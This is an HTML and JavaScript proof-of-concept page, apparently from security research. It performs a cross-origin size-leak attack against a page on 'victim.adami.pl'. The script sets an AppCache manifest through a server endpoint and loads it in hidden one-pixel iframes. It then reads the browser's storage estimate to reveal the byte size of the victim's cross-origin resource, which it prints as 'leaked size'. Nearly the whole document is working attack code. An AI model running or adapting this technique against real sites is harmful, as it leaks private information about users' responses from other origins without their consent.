example resource:
<a href="https://victim.adami.pl/resource_setup.php" target="_blank">setup size</a>
<br>
<input type="text" id="url" value="https://victim.adami.pl/display_resource.php">
<button onclick="doleak()">calc size</button>
<p id = "msg" ></p>

<div id = "iframe_div"></div>

<script>

var offset = 15829

function iframe_wait_msg(src, callback) {
  div = document.getElementById("iframe_div")
  div.innerHTML=""
  var ifr = document.createElement('iframe');
  ifr.setAttribute("id", "iframe_id");
  ifr.setAttribute("src", src);
  ifr.setAttribute("width", 1);
  ifr.setAttribute("height", 1);
  div.appendChild(ifr);
//  msg("wating for msg from iframe: "+src)

  function handleMessage(e) {
     window.removeEventListener("message", handleMessage, false);
     m=e.data
     msg("recevied msg: "+m)
     if (m == src) {
       callback(); 
     }
  }

  window.addEventListener("message", handleMessage);
}

function msg(x) {
  old = document.getElementById("msg").innerHTML
  document.getElementById("msg").innerHTML = old + "<br>" + x;
}

function calcSize() {
  if ('storage' in navigator && 'estimate' in navigator.storage) {
    navigator.storage.estimate().then(({usage, quota}) => {
       msg("leaked size: " + ( usage - offset));
    })
  } else {
     msg("storage estimator not supported")
  }  
}

function loadManifest() {
  iframe_wait_msg("load_manifeest.html", calcSize)
}

function loadCache2() {
   
   url = document.getElementById("url").value
   msg("caching "+ url)
   setManifest(url, loadManifest)
}

function loadManifestClear() {
  iframe_wait_msg("load_manifeest_clear.html", loadCache2)
}

function setManifest(url,callback) {
  fetch("set_manifest.php?url="+url).then(callback)
}

function clearCache() {
  msg("clearing cache");
  setManifest("test",loadManifestClear)
}

function doleak() {  
  clearCache();
}

</script>